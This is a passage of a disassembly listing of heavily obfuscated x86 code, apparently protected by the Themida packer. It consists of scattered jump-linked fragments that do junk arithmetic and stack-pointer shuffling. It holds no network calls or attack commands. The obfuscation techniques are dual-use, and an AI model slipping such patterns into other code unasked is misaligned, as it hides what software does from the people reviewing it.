ptr [edi+24h] push [esp+16h+var_16] push [esp+1Ah+var_1A] pop ecx push edi jmp loc_56C3E6 ; --------------------------------------------------------------------------- loc_56CD4D: ; CODE XREF: sub_562ABA+F78Dj add ebx, 0B3B97CF8h sub edi, ebx pop ebx jmp loc_564984 ; --------------------------------------------------------------------------- loc_56CD5B: ; CODE XREF: sub_55FCA5+23Aj add edi, esi jmp loc_56178C ; --------------------------------------------------------------------------- loc_56CD62: ; CODE XREF: sub_562ABA+FDD0j mov [esp+1Ah+var_1A], esi push ebp mov ebp, 247D7483h neg ebp inc ebp sub esp, 4 jmp loc_566160 ; --------------------------------------------------------------------------- loc_56CD76: ; CODE XREF: sub_562ABA+2E12j xor edi, 0A318EFB3h add ecx, edi pop edi push eax jmp loc_570C53 ; --------------------------------------------------------------------------- loc_56CD85: ; CODE XREF: sub_562ABA+CD37j pop ebx xor ebx, 0E00CFh push edi jmp loc_56C4EC ; --------------------------------------------------------------------------- loc_56CD92: ; CODE XREF: sub_562ABA+FCF6j mov ebp, [esp+32h+var_32] add esp, 4 add esp, 4 add esp, 4 push 5606h mov [esp+2Ah+var_2C+2], ebx push esp mov ebx, [esp+0] jmp loc_56E735 ; --------------------------------------------------------------------------- loc_56CDB2: ; CODE XREF: sub_562ABA+66Dj pop ebx add ebx, 4 jmp loc_56D502 ; --------------------------------------------------------------------------- loc_56CDBE: ; CODE XREF: sub_562ABA-3448j mov [esp+1Ah+var_1A], eax jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56CDC6: ; CODE XREF: sub_562ABA+DA6Fj mov edx, [esp+1Ah+var_1A] jmp loc_56E8C8 ; --------------------------------------------------------------------------- loc_56CDCE: ; CODE XREF: sub_562ABA+38B7j add edi, 4 push 2325h mov [esp+4Ah+var_4A], eax sub esp, 4 mov [esp+4Eh+var_4E], esi push 45845710h pop esi xor esi, 7C56658Eh push eax mov eax, 0D1372A73h sub esp, 4 mov [esp+56h+var_56], ebp jmp loc_5652B3 ; --------------------------------------------------------------------------- loc_56CE02: ; CODE XREF: sub_562ABA+F175j mov edi, 4D044A3Dh add ecx, edi jmp loc_566143 ; --------------------------------------------------------------------------- loc_56CE0E: ; CODE XREF: sub_562ABA+85E8j mov ecx, 4 add esi, ecx pop ecx add esi, 4 xchg esi, [esp+36h+var_36] pop esp jmp loc_55EE62 ; --------------------------------------------------------------------------- loc_56CE25: ; CODE XREF: sub_562ABA+7EA1j push edx mov edx, 0FD539850h sub ebx, 87E691Fh add ebx, edx push eax mov eax, 749D6CBBh add eax, 93E0FC64h add ebx, eax pop eax pop edx xor eax, ebx pop ebx push esi mov esi, 1BB61601h xor esi, 0E8B0523h push edx mov edx, 15BA2095h xor esi, edx mov edx, [esp+0] push ebx jmp loc_5697D3 ; --------------------------------------------------------------------------- loc_56CE62: ; CODE XREF: sub_562ABA+259Bj mov dl, 23h jmp loc_56C1D7 ; --------------------------------------------------------------------------- loc_56CE69: ; CODE XREF: sub_562ABA+4B8Bj mov cl, 90h add bl, cl pop ecx jmp loc_56C520 ; --------------------------------------------------------------------------- loc_56CE73: ; CODE XREF: sub_562ABA+F99Bj xor eax, 1D8A43CEh xor eax, 0B9B53BFh xor eax, 0BD66E298h sub ebp, eax pop eax pop ebx add ecx, 67628C1h add ecx, 7FAD743Dh sub ecx, ebp push eax push ebp mov ebp, 698146F8h mov eax, 162C32C5h xor eax, ebp pop ebp sub ecx, eax pop eax jmp loc_56D84F ; --------------------------------------------------------------------------- loc_56CEAB: ; CODE XREF: sub_562ABA+EA5Ej push esi mov esi, 22AF29B4h add eax, esi mov esi, [esp+46h+var_46] add esp, 4 xor eax, 936A7B41h push eax mov esi, [esp+46h+var_46] add esp, 4 pop eax push 16B9h mov [esp+42h+var_42], ebp jmp loc_571066 ; --------------------------------------------------------------------------- loc_56CED9: ; CODE XREF: sub_562ABA+E96Fj sub esp, 4 mov [esp+46h+var_46], eax push ecx mov cl, 3Eh mov ah, 4Ch sub ah, cl mov ecx, [esp+4Ah+var_4A] add esp, 4 not ah neg ah not ah push ebx mov bl, 5Ah xor bl, 0B3h sub ah, bl pop ebx sub bh, ah pop eax sub cl, bh pop ebx sub al, 2Fh add al, cl add al, 2Fh mov ecx, [esp+3Eh+var_3E] add esp, 4 add al, 8Eh add al, bl push edx mov dh, 0A1h shr dh, 8 xor dh, 7Ah jmp loc_5616F7 ; --------------------------------------------------------------------------- loc_56CF22: ; CODE XREF: sub_562ABA+A187j push ebx mov ebx, 39C9740Ch shl ebx, 6 jmp loc_55EAC2 ; --------------------------------------------------------------------------- loc_56CF30: ; CODE XREF: sub_562ABA+98DCj add ebx, eax jmp loc_55F294 ; --------------------------------------------------------------------------- loc_56CF37: ; CODE XREF: sub_562ABA+8FC5j pop edx push edi push 7B0h jmp loc_56A651 ; --------------------------------------------------------------------------- loc_56CF43: ; CODE XREF: sub_562ABA+C866j sub eax, ecx pop ecx jmp loc_56C850 ; --------------------------------------------------------------------------- loc_56CF4B: ; CODE XREF: sub_562ABA+AF7Cj sub ecx, ebx pop ebx sub eax, 630A30F4h add eax, ecx push edx mov edx, 630A30F4h add eax, edx pop edx pop ecx push eax jmp loc_563CAA ; --------------------------------------------------------------------------- loc_56CF65: ; CODE XREF: sub_562ABA+49E5j mov edi, esp push eax mov eax, 699B4CEEh inc eax shl eax, 1 not eax xor eax, 2CC96625h jmp loc_56DF51 ; --------------------------------------------------------------------------- loc_56CF7C: ; CODE XREF: sub_562ABA-452Ej pop esp jmp loc_570980 ; --------------------------------------------------------------------------- loc_56CF82: ; CODE XREF: sub_562ABA+E7E1j mov ebx, 4 sub esi, ebx pop ebx xchg esi, [esp+32h+var_32] mov esp, [esp+32h+var_32] mov [esp+32h+var_32], eax push edx mov dl, bl mov al, dl jmp loc_562DCA ; --------------------------------------------------------------------------- loc_56CF9D: ; CODE XREF: sub_562ABA+1294j mov edx, 4 add edi, edx pop edx xchg edi, [esp+22h+var_22] pop esp div ecx jmp loc_564548 ; --------------------------------------------------------------------------- loc_56CFB0: ; CODE XREF: sub_562ABA-1085j mov ebx, 1Ch add ebx, 5A461914h add ebx, edi sub ebx, 5A461914h mov eax, [ebx] mov ebx, [esp-0Eh+arg_8+2] push 7F81h mov [esp-0Ah+arg_4+2], ebx mov ebx, esp jmp loc_563416 ; --------------------------------------------------------------------------- loc_56CFD7: ; CODE XREF: sub_562ABA+E6FEj add ebp, eax jmp loc_56D7B5 ; --------------------------------------------------------------------------- loc_56CFDE: ; CODE XREF: sub_562ABA+39FCj sub esp, 4 jmp loc_57205F ; --------------------------------------------------------------------------- loc_56CFE9: ; CODE XREF: sub_562ABA+826Dj sub esi, 0A03D8928h jmp loc_56AADD ; --------------------------------------------------------------------------- loc_56CFF4: ; CODE XREF: sub_562ABA+9CAAj mov al, 47h and al, 8Eh sub al, 52h push edx mov dh, 0B8h neg dh add dh, 1Bh or al, dh pop edx jmp loc_56B550 ; --------------------------------------------------------------------------- loc_56D00A: ; CODE XREF: sub_562ABA+C3B6j sub ebp, 4 xchg ebp, [esp+30h+var_32+2] pop esp mov [esp+2Ch+var_2C], ecx mov ecx, 7D516B02h sub esp, 4 mov [esp+30h+var_32+2], ecx jmp loc_56FB8B ; --------------------------------------------------------------------------- loc_56D024: ; CODE XREF: sub_562ABA+1007j pop eax xor ecx, 5B15B2C2h jmp loc_565C36 ; --------------------------------------------------------------------------- loc_56D030: ; CODE XREF: sub_562ABA+20F9j push 3BBFh mov [esp+12h+var_12], esp add [esp+12h+var_12], 4 pop [esp+12h+var_12] push esi mov esi, 4 jmp loc_568C41 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0E1895124h, 4C181h, 0E9810000h, 4, 0FFEBABE9h db 0FFh ; --------------------------------------------------------------------------- loc_56D065: ; CODE XREF: sub_562ABA-397Cj add ecx, 5A0D2E5Ch add ebx, ecx pop ecx push edi mov edi, 653A76B7h inc edi shl edi, 2 add edi, 0A88E85B1h sub ebx, edi mov edi, [esp+3Eh+var_3E] add esp, 4 jmp loc_568E44 ; --------------------------------------------------------------------------- loc_56D08E: ; CODE XREF: sub_562ABA+D9F0j mov ebx, esp push eax mov eax, 4 add ebx, 0C345278h add ebx, eax sub ebx, 0C345278h jmp loc_561249 ; --------------------------------------------------------------------------- loc_56D0A9: ; CODE XREF: sub_562ABA+3EE4j mov ebx, [esp+2+var_4+2] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+6+var_8+2] jmp loc_560521 ; --------------------------------------------------------------------------- loc_56D0C3: ; CODE XREF: sub_562ABA+1B68j push edx mov edx, 19921D73h and edi, edx pop edx jmp loc_563B24 ; --------------------------------------------------------------------------- loc_56D0D1: ; CODE XREF: sub_562ABA+AF70j push edi jmp loc_55FEE4 ; --------------------------------------------------------------------------- loc_56D0D7: ; CODE XREF: sub_562ABA-3282j pop edx add edx, 6AFC08E2h jmp loc_56470C ; --------------------------------------------------------------------------- loc_56D0E3: ; CODE XREF: sub_562ABA+6401j mov [esp+0], ecx mov ecx, esp jmp loc_565700 ; --------------------------------------------------------------------------- loc_56D0ED: ; CODE XREF: sub_562ABA+3DA9j pop ecx mov edx, [esp+4+var_4] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+8+var_8] pop esp jmp loc_570C5D ; --------------------------------------------------------------------------- mov eax, [esp+4+var_4] push 21A5h mov [esp+8+var_8], edx jmp loc_56D4DF ; --------------------------------------------------------------------------- loc_56D116: ; CODE XREF: sub_562ABA+8F38j mov edx, esi pop esi push edx push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp+22h+var_22] pop esp jmp loc_572828 ; --------------------------------------------------------------------------- loc_56D12E: ; CODE XREF: sub_562ABA+3164j mov edx, 4B5211A0h mov ecx, 988746D1h add ecx, 505041B8h sub ecx, edx sub ecx, 505041B8h mov edx, [esp+0] add esp, 4 sub eax, ecx pop ecx push edi mov edi, 3D915581h sub eax, edi pop edi sub eax, 20E504EFh add eax, edx add eax, 20E504EFh add eax, 3D915581h jmp loc_570207 ; --------------------------------------------------------------------------- loc_56D171: ; CODE XREF: sub_562ABA+FAD2j sub edi, 37AA780Ch push ebx jmp loc_56A3A4 ; --------------------------------------------------------------------------- loc_56D17D: ; CODE XREF: sub_55FCA5+38Cj push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+0] pop esp mov [esp+2Ah+var_2C+2], ecx mov ecx, 52657975h sub ecx, 1 inc ecx shl ecx, 1 shl ecx, 5 or ecx, 4EF358FFh sub ecx, 0DFFF5DFBh add edx, ecx push [esp+2Ah+var_2C+2] pop ecx add esp, 4 push 7769h jmp loc_56DF90 ; --------------------------------------------------------------------------- loc_56D1C3: ; CODE XREF: sub_562ABA+9643j add esp, 4 add esp, 4 push 57Ah mov [esp+2Ah+var_2C+2], ebx push edx mov edx, 3DF849CEh mov ebx, 0C207B656h add ebx, 56F77639h jmp loc_56B3F6 ; --------------------------------------------------------------------------- loc_56D1E7: ; CODE XREF: sub_562ABA+9FFEj add eax, 4 jmp sub_5620A9 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+16h+var_16] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp+1Ah+var_1A] xor [esp+1Ah+var_1A], ebp xor ebp, [esp+1Ah+var_1A] jmp loc_5712CA ; --------------------------------------------------------------------------- loc_56D20F: ; CODE XREF: sub_562ABA+1B84j xor ebp, 11C9755Ch xor esi, ebp pop ebp and ebp, esi jmp loc_562D2C ; --------------------------------------------------------------------------- loc_56D21F: ; CODE XREF: sub_562ABA+CBD6j push ebx mov ebx, 33BA773Fh xor ecx, ebx pop ebx xor ebx, ecx mov ecx, [esp+3Ah+var_3A] jmp loc_572982 ; --------------------------------------------------------------------------- loc_56D232: ; CODE XREF: sub_562ABA+45B6j push esi push edi jmp loc_562084 ; --------------------------------------------------------------------------- loc_56D239: ; CODE XREF: sub_5602C2+18j xor ecx, 0B9D51900h mov esi, ecx push [esp+42h+var_42] pop ecx add esp, 4 jmp loc_56AC8D ; --------------------------------------------------------------------------- loc_56D250: ; CODE XREF: sub_562ABA+7567j xor cl, al pop eax push ecx mov ch, 1Dh xor ch, 5Eh jmp loc_5643EB ; --------------------------------------------------------------------------- loc_56D25E: ; DATA XREF: Themida_:0055DFB4o mov ax, word ptr [esp-0Ah+arg_4+2] push ebp push eax push 1E72h mov [esp+2+var_4+2], esp add [esp+2+var_4+2], 4 mov eax, [esp+2+var_4+2] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+6+var_8+2] pop esp add eax, 4 jmp loc_55F579 ; --------------------------------------------------------------------------- loc_56D293: ; CODE XREF: sub_562ABA+282Aj sub esi, 50F539E4h add edx, 22353083h add edx, esi sub edx, 22353083h pop esi add edx, 4 xchg edx, [esp+2Ah+var_2C+2] pop esp add ebp, ecx mov ecx, [esp+26h+var_28+2] add esp, 4 push ebp push [esp+26h+var_22] pop ebp pop [esp+26h+var_28+2] pop esp shl [esp+1Eh+var_1E], cl jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56D2CC: ; CODE XREF: sub_562ABA+332j add ebx, ecx push [esp+3Eh+var_3E] jmp loc_5621DF ; --------------------------------------------------------------------------- loc_56D2D6: ; CODE XREF: sub_562ABA+6737j push ax mov ah, 4 mov bl, ah jmp loc_5659C3 ; --------------------------------------------------------------------------- loc_56D2E1: ; CODE XREF: sub_562ABA+EC31j push [esp+36h+var_36] pop edx add esp, 4 xchg ebp, [esp+32h+var_32] jmp loc_56116F ; --------------------------------------------------------------------------- loc_56D2F3: ; CODE XREF: sub_562ABA+9532j add esp, 4 sub eax, 4 push 7590h mov [esp+22h+var_22], eax push [esp+22h+var_1E] mov eax, [esp+26h+var_28+2] push edi mov edi, esp push esi mov esi, 4 jmp loc_55FAA9 ; --------------------------------------------------------------------------- loc_56D319: ; CODE XREF: sub_562ABA-D43j pop ebx push eax mov eax, 66736715h xor ebx, eax mov eax, [esp+3Eh+var_3E] jmp loc_567846 ; --------------------------------------------------------------------------- loc_56D32A: ; CODE XREF: sub_562ABA-8E0j xor ecx, [esp+18h+var_1A+2] xor [esp+18h+var_1A+2], ecx xor ecx, [esp+18h+var_1A+2] jmp loc_55F3A1 ; --------------------------------------------------------------------------- loc_56D338: ; CODE XREF: sub_562ABA+CBE5j not esi sub esi, 93F1B8F2h mov eax, esi pop esi shr eax, 2 shl eax, 2 inc eax xor eax, 2794309Fh dec eax jmp sub_571CD8 ; --------------------------------------------------------------------------- loc_56D355: ; CODE XREF: sub_562ABA+FB19j add ebp, eax jmp loc_570D25 ; --------------------------------------------------------------------------- loc_56D35C: ; CODE XREF: sub_562ABA-147Ej xor ebx, 695AB2C7h sub esi, ebx jmp loc_560015 ; --------------------------------------------------------------------------- loc_56D369: ; CODE XREF: sub_562ABA+60F2j add edi, 27134106h pop edx jmp loc_572321 ; --------------------------------------------------------------------------- loc_56D375: ; CODE XREF: sub_55FCA5+164j mov [esp+36h+var_36], ebp mov ebp, 710871FBh add ebp, 2EB029B1h not ebp not ebp xchg edi, ebp not edi xchg edi, ebp push 0DE6h mov [esp+3Ah+var_3A], ecx jmp loc_55FDE5 ; --------------------------------------------------------------------------- loc_56D39A: ; CODE XREF: sub_562ABA+B578j push eax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56D3A1: ; CODE XREF: sub_562ABA+678Aj pop esp jmp loc_56D70F ; --------------------------------------------------------------------------- loc_56D3A7: ; CODE XREF: sub_562ABA+A00Fj add edx, 4 push ecx mov ecx, 1DA614D0h shr ecx, 6 shl ecx, 6 shr ecx, 3 dec ecx jmp loc_570AA7 ; --------------------------------------------------------------------------- neg byte ptr [esp+1Ah+var_1A] pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56D3CB: ; CODE XREF: sub_55FCA5+12Cj pop edx mov eax, [esp+1Ah+var_1A] push ebx push esp pop ebx jmp loc_568AC1 ; --------------------------------------------------------------------------- loc_56D3D7: ; CODE XREF: sub_562ABA+3E78j xor eax, [esp+16h+var_16] xor [esp+16h+var_16], eax xor eax, [esp+16h+var_16] jmp loc_564E77 ; --------------------------------------------------------------------------- loc_56D3E5: ; CODE XREF: sub_562ABA+AB7Fj mov [esp+16h+var_16], edx push esp mov edx, [esp+1Ah+var_1A] push edi mov edi, esp jmp loc_56F3C0 ; --------------------------------------------------------------------------- loc_56D3F4: ; CODE XREF: sub_562ABA-3CF2j mov [esp+16h+var_16], ecx sub esp, 4 mov [esp+1Ah+var_1A], ebx mov ecx, [esp+1Ah+var_1A] add esp, 4 mov edx, ecx mov ecx, [esp+16h+var_16] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+1Ah+var_1A] pop esp push edx jmp loc_56BA07 ; --------------------------------------------------------------------------- loc_56D421: ; CODE XREF: sub_562ABA+383Cj mov ecx, [esp+20h+var_22+2] add esp, 4 sub al, bh sub al, 0BFh pop ebx push edx push ebx mov bh, al mov dl, bh mov ebx, [esp+20h+var_22+2] add esp, 4 push eax mov al, dl mov cl, al pop eax pop edx pop eax sub al, cl pop cx push small 7FE5h mov word ptr [esp+14h+var_16+2], dx jmp loc_56D768 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+14h+var_16+2] sub esp, 4 mov [esp+18h+var_1A+2], ebx push esp mov ebx, [esp+1Ch+var_1E+2] add esp, 4 sub esp, 4 mov [esp+1Ch+var_1E+2], ecx jmp loc_56783C ; --------------------------------------------------------------------------- loc_56D46D: ; CODE XREF: sub_562ABA+7315j push esp mov ebx, [esp+20h+var_22+2] add esp, 4 push edx push ecx mov ecx, 4 mov edx, ecx jmp loc_56EE45 ; --------------------------------------------------------------------------- loc_56D482: ; CODE XREF: sub_562ABA-A31j mov esi, 1F333E8Ch jmp loc_55FC83 ; --------------------------------------------------------------------------- loc_56D48C: ; CODE XREF: sub_562ABA+70FEj mov word ptr [esp+12h+var_12], dx push ax pushf jmp loc_560FB2 ; --------------------------------------------------------------------------- loc_56D498: ; CODE XREF: sub_562ABA+68j shr eax, 8 xor eax, 13DACh jmp loc_565275 ; --------------------------------------------------------------------------- loc_56D4A5: ; CODE XREF: sub_562ABA+AF8j add edx, edi sub edx, 61EC771Fh pop edi xor edx, [esp+26h+var_28+2] xor [esp+26h+var_28+2], edx xor edx, [esp+26h+var_28+2] pop esp jmp loc_567FFB ; --------------------------------------------------------------------------- loc_56D4BD: ; CODE XREF: sub_562ABA+7D30j push 782Eh mov [esp+1Ah+var_1A], ebp push edx jmp loc_570B39 ; --------------------------------------------------------------------------- loc_56D4CB: ; CODE XREF: sub_562ABA+9F1Fj xor edi, 2C8F7AE2h jmp loc_56FBEE ; --------------------------------------------------------------------------- loc_56D4D6: ; CODE XREF: sub_562ABA+63A8j push [esp-2+arg_0+2] jmp loc_57082C ; --------------------------------------------------------------------------- loc_56D4DF: ; CODE XREF: sub_562ABA+A657j push esp pop edx push esi push ebx mov ebx, 35CF3B44h push 62BDh mov [esp+14h+var_16+2], ebp push eax mov eax, 19956F30h mov ebp, 91F9D7BAh sub ebp, eax jmp loc_5665B1 ; --------------------------------------------------------------------------- loc_56D502: ; CODE XREF: sub_562ABA+A2FFj add ebx, 4 xchg ebx, [esp+22h+var_22] mov esp, [esp+22h+var_22] sub edi, 1 jmp loc_56E69B ; --------------------------------------------------------------------------- loc_56D516: ; CODE XREF: sub_562ABA+C685j push esp pop edi add edi, 4 push 5FA2h mov [esp+26h+var_28+2], eax mov eax, 4F4B1A5Dh sub eax, 4F4B1A59h jmp loc_55ED56 ; --------------------------------------------------------------------------- loc_56D535: ; CODE XREF: sub_562ABA+DBF0j add edx, 76B36C46h sub edx, 775D0D0Bh pop ebp add edx, eax jmp loc_562C7F ; --------------------------------------------------------------------------- mov cx, word ptr [esp+22h+var_22] push ebx jmp loc_561BD4 ; --------------------------------------------------------------------------- loc_56D553: ; CODE XREF: sub_562ABA+137j push esi push [esp+0Eh+var_C+2] jmp loc_5666E8 ; --------------------------------------------------------------------------- loc_56D55D: ; CODE XREF: sub_562ABA+6C03j mov [esp+42h+var_42], edx mov dh, 73h neg dh sub dh, 74h inc dh or dh, 36h xor dh, 74h sub bl, 19h sub bl, 95h sub bl, dh add bl, 95h add bl, 19h mov edx, [esp+42h+var_42] add esp, 4 sub bl, al push eax push esp pop eax add eax, 4 sub eax, 4 push eax push [esp+46h+var_42] mov eax, [esp+4Ah+var_4A] jmp loc_56996A ; --------------------------------------------------------------------------- loc_56D5A2: ; CODE XREF: sub_562ABA-3D12j shr ebp, 2 push esi mov esi, 639E15D2h shr esi, 5 jmp loc_56946C ; --------------------------------------------------------------------------- loc_56D5B3: ; CODE XREF: Themida_:00562065j push 82D5E9Ah push [esp+22h+var_22] pop eax add esp, 4 push 2CDCh mov [esp+22h+var_22], edx mov edx, 46C8186Ah neg edx neg edx inc edx xor edx, 5C3F4450h sub eax, 32BA2B7Ah jmp loc_561928 ; --------------------------------------------------------------------------- loc_56D5E1: ; CODE XREF: sub_562ABA+6165j or esi, eax pop eax xor esi, 405F1DF7h sub ebx, esi jmp loc_56138C ; --------------------------------------------------------------------------- loc_56D5F1: ; CODE XREF: sub_562ABA+8C6Fj push edi pop eax mov edi, [esp+16h+var_16] add esp, 4 sub eax, 54B80ABDh shr eax, 4 push edi push ebp mov ebp, 45605119h neg ebp jmp loc_5693C8 ; --------------------------------------------------------------------------- loc_56D612: ; CODE XREF: sub_562ABA-2FB2j add esi, 4 add esi, 4 xchg esi, [esp+0] pop esp jmp loc_570402 ; --------------------------------------------------------------------------- loc_56D624: ; CODE XREF: sub_562ABA+A040j pop edx jmp loc_568914 ; --------------------------------------------------------------------------- loc_56D62A: ; CODE XREF: sub_562ABA-2F68j add ebx, 4 add ebx, 2 sub esp, 4 jmp loc_56D3E5 ; --------------------------------------------------------------------------- loc_56D63E: ; CODE XREF: sub_562ABA+1DFFj push ebx mov ebx, 50C87197h inc ebx add ebx, 67DB49F1h add ebx, 475C447Bh add esi, ebx pop ebx sub esi, 4 xchg esi, [esp+26h+var_28+2] pop esp mov [esp+22h+var_22], esi jmp loc_560060 ; --------------------------------------------------------------------------- loc_56D666: ; CODE XREF: sub_562ABA+4F72j pop ebp push ebx mov ebx, 285D3FAAh jmp loc_56E56F ; --------------------------------------------------------------------------- loc_56D672: ; CODE XREF: sub_562ABA-E3Bj push ax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56D67A: ; CODE XREF: sub_562ABA+C843j sub eax, edi mov edi, [esp+1Ch+var_1E+2] add esp, 4 add edx, eax jmp loc_55F5D6 ; --------------------------------------------------------------------------- loc_56D689: ; CODE XREF: sub_562ABA-23F7j mov dh, 92h and ch, dh pop dx add ch, 68h and bl, ch mov ecx, [esp+0] add esp, 4 sub bl, 79h jmp loc_56EB73 ; --------------------------------------------------------------------------- loc_56D6A5: ; CODE XREF: sub_562ABA+B870j mov ecx, 6AC21E73h jmp loc_560C8B ; --------------------------------------------------------------------------- loc_56D6AF: ; CODE XREF: sub_562ABA+B335j add edx, 548447D5h mov esi, [esp-4+arg_0] add esp, 4 sub edx, 4 push edx push [esp-4+arg_4] mov edx, [esp+0] jmp loc_569C53 ; --------------------------------------------------------------------------- loc_56D6CB: ; CODE XREF: sub_562ABA+2342j xor ecx, edi xor edi, ecx not ecx xchg ecx, edi jmp loc_56B346 ; --------------------------------------------------------------------------- loc_56D6D8: ; CODE XREF: sub_562ABA-1333j sub esi, 0FFFFFFFFh neg esi push 52BEh mov [esp+32h+var_32], eax mov eax, 0B320ACEh jmp loc_56913F ; --------------------------------------------------------------------------- loc_56D6F2: ; CODE XREF: sub_562ABA+132Dj add esp, 4 pop ecx add al, 5Dh jmp loc_572A11 ; --------------------------------------------------------------------------- loc_56D6FD: ; CODE XREF: sub_562ABA+1901j sub dh, 65h sub dh, 68h jmp loc_566B90 ; --------------------------------------------------------------------------- loc_56D708: ; CODE XREF: sub_562ABA+DC98j mov ah, 7Eh jmp loc_568CA9 ; --------------------------------------------------------------------------- loc_56D70F: ; CODE XREF: sub_562ABA+A8E8j add esp, 4 push 7030h mov [esp+42h+var_42], esi jmp loc_5691F6 ; --------------------------------------------------------------------------- loc_56D722: ; CODE XREF: sub_562ABA+619Bj mov [esp+22h+var_22], esp add [esp+22h+var_22], 4 pop [esp+22h+var_22] push eax mov eax, 4 add [esp+22h+var_1E], eax pop eax jmp loc_568D83 ; --------------------------------------------------------------------------- loc_56D73F: ; CODE XREF: sub_562ABA+9989j xor esi, 0BE8A9C96h mov edi, esi pop esi add eax, edi jmp loc_560C67 ; --------------------------------------------------------------------------- loc_56D74F: ; CODE XREF: sub_562ABA+775Cj sub dl, 0ECh push ax mov al, 0C9h or dl, al pop ax xor dl, 6Ch mov cl, dl pop edx push eax mov ah, 0FBh jmp loc_55F3D7 ; --------------------------------------------------------------------------- loc_56D768: ; CODE XREF: sub_562ABA+A992j push 3FEAh mov [esp+18h+var_1A+2], ecx mov ch, 11h jmp loc_571C54 ; --------------------------------------------------------------------------- loc_56D777: ; CODE XREF: sub_562ABA+399Bj push 60DEh jmp loc_56FEDA ; --------------------------------------------------------------------------- loc_56D781: ; CODE XREF: sub_562ABA+E73Aj shr edx, 7 sub edx, 0E9BB5976h or ebp, edx pop edx jmp loc_5680F9 ; --------------------------------------------------------------------------- loc_56D792: ; CODE XREF: sub_562ABA-28D0j push eax push edi push eax jmp loc_562BBE ; --------------------------------------------------------------------------- loc_56D79A: ; CODE XREF: sub_562ABA+5718j or dh, 8Ch sub dh, 0C9h jmp loc_56078C ; --------------------------------------------------------------------------- loc_56D7A5: ; CODE XREF: sub_562ABA+C51Dj and ebx, 3ACA5F10h push 3A3Ah jmp loc_572314 ; --------------------------------------------------------------------------- loc_56D7B5: ; CODE XREF: sub_562ABA+A51Fj pop eax xchg ebp, [esp-0Eh+arg_8+2] jmp loc_56C1EA ; --------------------------------------------------------------------------- loc_56D7BE: ; CODE XREF: sub_562ABA+C419j pop edx add esp, 4 push ecx push [esp-12h+arg_10+2] pop ecx pop [esp-12h+arg_C+2] mov esp, [esp-16h+arg_10+2] jmp loc_569BF4 ; --------------------------------------------------------------------------- loc_56D7D3: ; CODE XREF: sub_562ABA+47A1j sub esp, 4 mov [esp+26h+var_28+2], edi jmp loc_568698 ; --------------------------------------------------------------------------- loc_56D7E1: ; CODE XREF: sub_562ABA+BBC0j pop eax jmp loc_57081E ; --------------------------------------------------------------------------- loc_56D7E7: ; CODE XREF: sub_562ABA+674Ej add esp, 4 neg edx shr edx, 4 jmp loc_56FBD6 ; --------------------------------------------------------------------------- lodsb jmp loc_566EFD ; --------------------------------------------------------------------------- loc_56D7FA: ; CODE XREF: sub_562ABA-39B8j mov [esp+36h+var_36], ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push [esp+3Ah+var_36] pop ebp pop [esp+3Ah+var_3A] pop esp mov [esp+32h+var_32], esp jmp loc_561EA1 ; --------------------------------------------------------------------------- loc_56D81A: ; CODE XREF: sub_562ABA+E625j pop ecx add ecx, eax pop eax push 1F0h mov [esp+0], ecx push [esp+2Eh+var_2C+2] mov ecx, [esp+32h+var_32] jmp sub_561F0E ; --------------------------------------------------------------------------- loc_56D832: ; CODE XREF: sub_562ABA+D526j push [esp+32h+var_32] pop ebp add esp, 4 mov ebx, [esp+0] push ecx jmp loc_56194B ; --------------------------------------------------------------------------- loc_56D842: ; CODE XREF: sub_562ABA+53B7j add al, 5Ah jmp loc_570229 ; --------------------------------------------------------------------------- loc_56D849: ; CODE XREF: sub_562ABA+C6AFj push eax jmp loc_56944B ; --------------------------------------------------------------------------- loc_56D84F: ; CODE XREF: sub_562ABA+A3ECj push edx mov edx, 67628C1h sub ecx, edx mov edx, [esp+46h+var_46] add esp, 4 push [esp+42h+var_42] pop ebp add esp, 4 jmp loc_568BB1 ; --------------------------------------------------------------------------- loc_56D86C: ; CODE XREF: sub_562ABA+7080j mov [esp+0Ah+var_C+2], ebx mov ebx, 451C54A0h xor ebx, 2E5F4C62h mov edx, 6B4398C2h xor edx, ebx pop ebx and eax, edx pop edx or eax, eax jz loc_570C5D push dword ptr [edi+1Ch] push [esp+6+var_8+2] push [esp+0Ah+var_C+2] push dword ptr [esp+0] jmp loc_57178A ; --------------------------------------------------------------------------- loc_56D89E: ; CODE XREF: sub_562ABA+3CD3j or edi, 427C2EE1h shr edi, 6 xor edi, 1139A769h or esi, edi pop edi push ebx mov ebx, 5C270C0Ah shl ebx, 2 jmp loc_56FD43 ; --------------------------------------------------------------------------- loc_56D8BE: ; CODE XREF: sub_562ABA+3C94j push 10DEh mov [esp+26h+var_28+2], eax mov eax, esp push 6E3Ah mov [esp+2Ah+var_2C+2], edi mov edi, 31A31CAFh add edi, 0FFFFFFFFh add edi, 17E03098h jmp loc_56364F ; --------------------------------------------------------------------------- loc_56D8E6: ; CODE XREF: sub_562ABA+2E19j mov bx, word ptr [esp+32h+var_32] sub esp, 4 jmp loc_565D42 ; --------------------------------------------------------------------------- loc_56D8F5: ; CODE XREF: sub_562ABA+D05Bj pop esp xor eax, [esp+32h+var_32] xor [esp+32h+var_32], eax xor eax, [esp+32h+var_32] mov esp, [esp+32h+var_32] shl [esp+32h+var_32], cl pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56D90B: ; CODE XREF: sub_562ABA+59F2j push ecx push eax jmp loc_570DC0 ; --------------------------------------------------------------------------- loc_56D912: ; CODE XREF: sub_562ABA+647Bj mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+22h+var_22] pop esp mov [esp+1Eh+var_1E], ebx push 4 pop ebx add edx, ebx pop ebx push ebx mov ebx, 4B09ADh add ebx, 0FFB4F657h add edx, ebx mov ebx, [esp+1Eh+var_1E] add esp, 4 sub 